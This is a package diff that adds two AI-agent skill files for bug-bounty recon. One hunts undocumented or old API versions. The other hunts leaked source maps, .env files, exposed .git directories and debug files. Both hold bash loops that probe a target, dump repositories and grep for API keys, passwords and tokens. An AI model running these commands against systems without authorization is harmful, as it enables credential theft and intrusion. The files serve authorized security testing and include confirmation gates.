opencode-skills-collection 4.0.67 → 4.0.69

package/bundled-skills/hunt-shadow-api/SKILL.md

@@ -0,0 +1,198 @@
+---
+name: hunt-shadow-api
+description: Hunt shadow / zombie / undocumented API surface (OWASP API9 Improper
+  Inventory Management)
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: owasp_api_top10_2023, portswigger_research, public_research
+report_count: 0
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+## OWASP API9 — Improper Inventory Management (Shadow / Zombie APIs)
+
+As an API evolves, old versions and internal/staging routes routinely stay reachable without
+receiving the same security fixes as the current version — because nobody tracks that they
+still exist. The bug is rarely in one endpoint; it's in the **delta** between what an old
+version enforces and what the current version enforces on the same operation.
+
+### When to use
+
+Trigger when:
+- Versioned paths are visible (`/v1/`, `/v2/`, `/api/2023-01-01/`) or `Accept`/`X-API-Version`
+  headers are in play.
+- A changelog, release notes, or deprecation notice references removed/old API behavior.
+- A mobile APK/IPA (via `apk-redteam-pipeline` / `ios-redteam-pipeline`) hardcodes endpoints
+  that look like an older backend version than the current web app calls.
+- Multiple OpenAPI/Swagger specs are discoverable, or `info.version` in one spec implies others
+  exist.
+
+DO NOT use for single-version APIs with no version history — there's nothing to diff; go
+straight to `hunt-api-misconfig` for direct exploitation of the one surface that exists.
+
+---
+
+## Stage 1 — Enumerate the Full Version Surface
+
+```bash
+# Path-based versioning
+for v in v1 v2 v3 v4 beta alpha internal legacy old 2022-01-01 2023-01-01 2024-01-01; do
+  curl -s -o /dev/null -w "%{http_code} /api/$v/\n" "https://$TARGET/api/$v/"
+done
+
+# Header-based versioning
+curl -s -H "X-API-Version: 1" https://$TARGET/api/users
+curl -s -H "Accept: application/vnd.company.v1+json" https://$TARGET/api/users
+
+# Subdomain-based versioning
+for sub in api api-v1 api-v2 apiv1 apiv2 legacy-api old-api internal-api staging-api; do
+  curl -s -o /dev/null -w "%{http_code} $sub\n" "https://$sub.$TARGET/"
+done
+```
+
+A `200`/`401`/`403` on an old version path (anything but `404`/connection-refused) means the
+version is still live and worth carrying into Stage 3, even if it demands auth.
+
+---
+
+## Stage 2 — Pull Every Reachable Spec, Not Just the Linked One
+
+```bash
+for path in openapi.json swagger.json v1/swagger.json v2/swagger.json v3/api-docs \
+            api-docs.json swagger/v1/swagger.json .well-known/openapi.json; do
+  curl -s -o /dev/null -w "%{http_code} /$path\n" "https://$TARGET/$path"
+done
+
+# Wayback Machine — a DEPRECATED version's spec often stays indexed after the live link is removed
+curl -s "http://web.archive.org/cdx/search/cdx?url=$TARGET/*swagger*&output=json&collapse=urlkey"
+curl -s "http://web.archive.org/cdx/search/cdx?url=$TARGET/*openapi*&output=json&collapse=urlkey"
+```
+
+When more than one spec resolves (a current one and an archived/old one), diff the endpoint
+inventories directly:
+```bash
+jq -r '.paths | keys[]' v1-swagger.json | sort > /tmp/v1_paths.txt
+jq -r '.paths | keys[]' v2-swagger.json | sort > /tmp/v2_paths.txt
+comm -23 /tmp/v1_paths.txt /tmp/v2_paths.txt   # in v1 only — candidates for "still live but forgotten"
+```
+For every path in that diff, confirm it's still reachable against the v1 base URL. A route
+documented only in the old spec that still returns something other than `404` is a zombie-
+endpoint candidate — carry it into Stage 3.
+
+---
+
+## Stage 3 — Behavioral Diff Between Old and Current Version
+
+For each operation that exists in **both** versions, compare security-relevant behavior, not
+response shape. Response shape differences are Informational; behavioral security regressions
+are the finding.
+
+- **Auth strength.** Does the old version accept no token, an expired token, or a lower-
+  privilege token that the current version rejects?
+  ```bash
+  curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" https://$TARGET/api/v1/users/me -w '\n%{http_code}\n'
+  curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" https://$TARGET/api/v2/users/me -w '\n%{http_code}\n'
+  ```
+- **Rate limiting.** Burst the same number of requests against both versions' equivalent
+  endpoint; a missing `429` on the old version means rate-limiting was added later and never
+  backported.
+- **Input validation.** Send the identical injection/oversized/malformed payload to both; the
+  old version accepting what the new one rejects means hardening happened forward-only —
+  chain into whichever injection class the payload targets (`hunt-sqli`, `hunt-idor`, etc.).
+- **Field exposure.** Does the old version's response body include fields — internal IDs, other
+  users' data, internal notes, PII — that the current version has since redacted?
+
+---
+
+## Stage 4 — Deprecated / Internal Routes Never Referenced by the Current UI
+
+- Grep JS bundles for API calls no visible UI flow triggers (`/internal/`, `/admin/`, `/debug/`,
+  `/_internal/`, `/test/`, `/staging/`) — reuse `hunt-source-leak`'s JS-bundle grep patterns for
+  this specifically.
+- Check `robots.txt` / `sitemap.xml` for disallowed API paths — a self-inflicted disclosure.
+- Mobile-app endpoint inventories (via `apk-redteam-pipeline` / `ios-redteam-pipeline`) very
+  often reference an older backend version than the current web app calls. Treat every
+  APK/IPA-sourced endpoint as a version-diff candidate against the live web API.
+
+---
+
+## False-Positive Gate
+
+- A version difference alone (different response shape, cosmetic field renaming) is
+  Informational. The finding is a **security-relevant regression** — auth, rate-limit, or
+  validation that got weaker going backward in version history.
+- Confirm the old endpoint is not simply an alias/proxy to the current implementation before
+  claiming a behavioral difference — send a payload that would actually behave differently
+  under old vs. new logic, not just compare a version string in the response body.
+- A `200` on a path that just serves a static "this API version is deprecated, use v2" message
+  is not a finding — confirm the underlying operation still executes.
+
+---
+
+## Severity Table
+
+| Finding | Severity |
+|---|---|
+| Old version bypasses auth entirely where current version requires it | Critical |
+| Old version missing rate-limit present on current version | Medium–High (chain via `hunt-brute-force`) |
+| Old version leaks extra fields (PII, internal IDs) vs. current | Medium–High |
+| Old version accepts payloads the current version now validates/sanitizes | High (chain to the underlying injection class) |
+| Version is reachable but behaviorally identical to current | Informational |
+
+---
+
+## Related Skills & Chains
+
+- **`hunt-api-misconfig`** — owns exploitation once a spec or endpoint is in hand (mass
+  assignment, JWT attacks, OData, Swagger-chain attacks). This skill hands it a sharper target:
+  "here's a zombie endpoint with weaker validation than the current one."
+- **`hunt-subdomain`** — owns host/subdomain-level discovery (`api-v1.target.com` as its own
+  host, potential takeover). This skill owns what happens once you're inside a given host's
+  version surface.
+- **`hunt-source-leak`** — JS-bundle grep for internal/undocumented calls; reused here
+  specifically for version-diffing rather than secret extraction.
+- **`apk-redteam-pipeline`** / **`ios-redteam-pipeline`** — mobile builds routinely hardcode an
+  older API version; every mobile-sourced endpoint is a version-diff candidate.
+- **`hunt-brute-force`** — a rate-limit regression found here is only a complete finding once
+  chained to actual brute-forceable impact (login, OTP, enumeration).
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

package/bundled-skills/hunt-source-leak/SKILL.md

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+---
+name: hunt-source-leak
+description: Hunt source code and build artifact leakage
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: hackerone_public, offensive_research
+report_count: 7
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+# HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage
+
+## Crown Jewel Targets
+
+Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.
+
+**Highest-value findings:**
+- **`.js.map` source maps** — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypasses
+- **`swagger.json` / `openapi.json`** — complete REST API specification with all endpoints, parameters, auth schemes, and internal route names
+- **`.env` / `.env.production`** — APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext
+- **`.git/` exposure** — `git clone` the entire source history → all past hardcoded secrets
+- **`asset-manifest.json` / `_next/static/`** — all JS bundle paths → systematic source map discovery
+- **`build-info` / `info.json`** — git commit hash, build timestamp, dependency versions → CVE targeting
+
+---
+
+## Phase 1 — Quick Wins (Run First)
+
+```bash
+# These 10 requests take <30 seconds and often yield Critical findings
+for PATH in \
+  "/.env" \
+  "/.env.production" \
+  "/.env.local" \
+  "/.git/HEAD" \
+  "/swagger.json" \
+  "/api/swagger.json" \
+  "/v1/swagger.json" \
+  "/openapi.json" \
+  "/api/openapi.json" \
+  "/api-docs"; do
+  STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH")
+  if [ "$STATUS" = "200" ]; then
+    echo "[+] HIT: https://$TARGET$PATH"
+    head -5 /tmp/sl_test
+    echo "---"
+  fi
+done
+```
+
+---
+
+## Phase 2 — Source Map Discovery
+
+> **Always resolve the CURRENT build hash before testing, and again before
+> re-verifying.** Bundle filenames are content-hashed, so they rotate on every
+> deploy. A `.map` URL recorded yesterday can 404 today while the map is still
+> fully exposed under a new name. **A 404 at the old URL is not remediation** —
+> it is a new build.
+>
+> ```bash
+> # ALWAYS derive the hash live, never reuse a recorded URL
+> HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1)
+> curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \
+>   "https://$TARGET/static/js/${HASH}.map"
+> ```
+>
+> **Lesson from an authorized engagement.** A large production map was found at
+> `main.<hashA>.js.map`. On re-verification that URL returned a small HTML
+> soft-404 and the finding was nearly closed as fixed. The bundle had rotated to
+> `main.<hashB>.js` — and the map was still published at `main.<hashB>.js.map`,
+> same size. Nothing had been remediated.
+>
+> Tell the client this explicitly in the report: **redeploying does not fix source
+> map exposure.** Only `GENERATE_SOURCEMAP=false` (or stripping `.map` at deploy)
+> plus a CDN purge closes it. A team that redeploys and re-checks the old link
+> will wrongly declare victory.
+>
+> Same rule applies to any content-hashed artifact: chunk files, CSS maps,
+> `asset-manifest.json`, and staging equivalents.
+
+```bash
+# Step 1: Get asset manifest to find all JS bundle paths
+curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
+curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3
+
+# Next.js
+BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
+curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5
+
+# Step 2: For each JS bundle, check for source map reference at end of file
+for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
+  LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
+  echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
+done
+
+# Step 3: Download and reconstruct source from .map files
+JS_URL="https://$TARGET/static/js/main.abc123.js"
+MAP_URL="${JS_URL}.map"
+curl -s "$MAP_URL" | python3 -c "
+import sys, json, os
+data = json.load(sys.stdin)
+sources = data.get('sources', [])
+contents = data.get('sourcesContent', [])
+for i, (src, content) in enumerate(zip(sources, contents)):
+    if content:
+        path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
+        os.makedirs(os.path.dirname(path), exist_ok=True)
+        with open(path, 'w') as f:
+            f.write(content)
+        print(f'[+] Extracted: {src}')
+"
+
+# Step 4: Grep extracted source for secrets
+grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null
+grep -r "process\.env\." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20
+grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20
+```
+
+---
+
+## Phase 3 — Swagger / OpenAPI Discovery
+
+```bash
+# Common paths
+SWAGGER_PATHS=(
+  "/swagger.json" "/swagger.yaml" "/swagger/"
+  "/api/swagger.json" "/api/swagger.yaml"
+  "/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
+  "/openapi.json" "/openapi.yaml"
+  "/api/openapi.json" "/api-docs" "/api-docs.json"
+  "/api/v1/swagger.json" "/api/v2/swagger.json"
+  "/rest/swagger.json" "/rest/api-docs"
+  "/.well-known/openapi.json"
+  "/graphql/schema.json"
+)
+
+for PATH in "${SWAGGER_PATHS[@]}"; do
+  STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
+  if [ "$STATUS" = "200" ]; then
+    echo "[+] Found: https://$TARGET$PATH"
+    # Extract all API paths from swagger
+    python3 -c "
+import sys, json
+try:
+    d = json.load(open('/tmp/swagger_test'))
+    paths = list(d.get('paths', {}).keys())
+    print(f'Endpoints: {len(paths)}')
+    print('\n'.join(sorted(paths)))
+except: pass
+" | head -50
+  fi
+done
+```
+
+---
+
+## Phase 4 — .git Exposure
+
+```bash
+# Check if .git directory is accessible
+curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"
+
+# If exposed, reconstruct repo
+# Tool: git-dumper
+pip3 install git-dumper
+git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/
+
+# Grep for secrets in all git history
+cd /tmp/dumped-repo && \
+  git log --all --oneline 2>/dev/null | head -20
+  git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30
+
+# trufflehog on git history
+trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50
+```
+
+---
+
+## Phase 5 — Forgotten Files & Debug Endpoints
+
+```bash
+# Build artifacts and debug files
+DEBUG_PATHS=(
+  "/build-info.json" "/build/build-info.json"
+  "/info" "/actuator/info" "/api/info"
+  "/version" "/api/version" "/_version"
+  "/health" "/status" "/ping"
+  "/robots.txt" "/security.txt" "/.well-known/security.txt"
+  "/sitemap.xml" "/manifest.json" "/browserconfig.xml"
+  "/crossdomain.xml" "/clientaccesspolicy.xml"
+  "/phpinfo.php" "/info.php" "/test.php"
+  "/server-status" "/server-info" "/.htaccess"
+  "/web.config" "/applicationHost.config"
+  "/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
+  "/package.json" "/composer.json" "/Gemfile"
+  "/Dockerfile" "/docker-compose.yml" "/.dockerenv"
+)
+
+for PATH in "${DEBUG_PATHS[@]}"; do
+  STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")
+  if [ "$STATUS" = "200" ]; then
+    echo "[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
+    head -3 /tmp/debug_test
+    echo "---"
+  fi
+done
+```
+
+---
+
+## Phase 6 — .DS_Store File Listing
+
+```bash
+# .DS_Store files on macOS-deployed web servers reveal directory structure
+curl -s "https://$TARGET/.DS_Store" | xxd | head -10
+
+# Parse .DS_Store to extract filenames
+pip3 install ds_store
+python3 -c "
+from ds_store import DSStore
+with DSStore.open('/tmp/ds_store_test', 'r') as d:
+    for entry in d:
+        print(entry.filename)
+"
+
+# Recursive .DS_Store enumeration
+# Tool: https://github.com/lijiejie/ds_store_exp
+python3 ds_store_exp.py "https://$TARGET/"
+```
+
+---
+
+## Phase 7 — webpack Chunk Analysis
+
+```bash
+# Download and analyze webpack chunks for hardcoded values
+# Find chunk files
+curl -s https://$TARGET/ | grep -oP '"[^"]*\.chunk\.js"' | tr -d '"' | while read chunk; do
+  echo "Analyzing: $chunk"
+  curl -s "https://$TARGET$chunk" | \
+    grep -oE '"(api_key|apiKey|secret|password|token|key)"\s*:\s*"[^"]+"' | head -5
+done
+
+# Also grep for internal hostnames
+curl -s "https://$TARGET/static/js/main.*.js" | \
+  grep -oE '"(https?://[^"]*internal[^"]*|http://[^"]*localhost[^"]*)"' | sort -u
+
+# Check for Base64-encoded secrets
+curl -s "https://$TARGET/static/js/main.*.js" | \
+  grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do
+  DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null)
+  echo "$DECODED" | grep -iE "key|secret|password|token" && echo "  B64: $b64"
+done
+```
+
+---
+
+## Chain Table
+
+| Source leak finding | Chain to | Impact |
+|--------------------|----------|--------|
+| Source map with API key | Use key directly → API access | High/Critical |
+| Source map with auth logic | Find auth bypass route | Critical |
+| Swagger → internal endpoints | Test undocumented admin routes | High |
+| .git exposed | Full source history → all past secrets | Critical |
+| build-info with git hash | CVE targeting exact version | High |
+| .env with DB_PASSWORD | Direct database access | Critical |
+
+---
+
+## Tools
+
+```bash
+# git-dumper (reconstruct exposed .git)
+pip3 install git-dumper
+git-dumper "https://target.com/.git/" /tmp/repo/
+
+# sourcemap-explorer (visualize what's in bundles)
+npm install -g source-map-explorer
+source-map-explorer main.js
+
+# unwebpack-sourcemap (extract all source files)
+npm install -g unwebpack-sourcemap
+
+# trufflehog (secret scanning)
+trufflehog filesystem /tmp/repo/
+```
+
+---
+
+## Validation
+
+✅ Source map: reconstructed TypeScript source contains API endpoints or hardcoded secrets
+✅ Swagger: JSON contains internal endpoints not visible in UI
+✅ .git exposed: git-dumper successfully clones repo, secrets in history
+✅ .env exposed: DATABASE_URL, API_KEY, SECRET_KEY visible in plaintext
+
+**Severity:**
+- .env with credentials: Critical
+- .git with secrets in history: Critical
+- Source map with secrets: High
+- Swagger with internal routes: Medium-High
+- robots.txt only: Informational
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.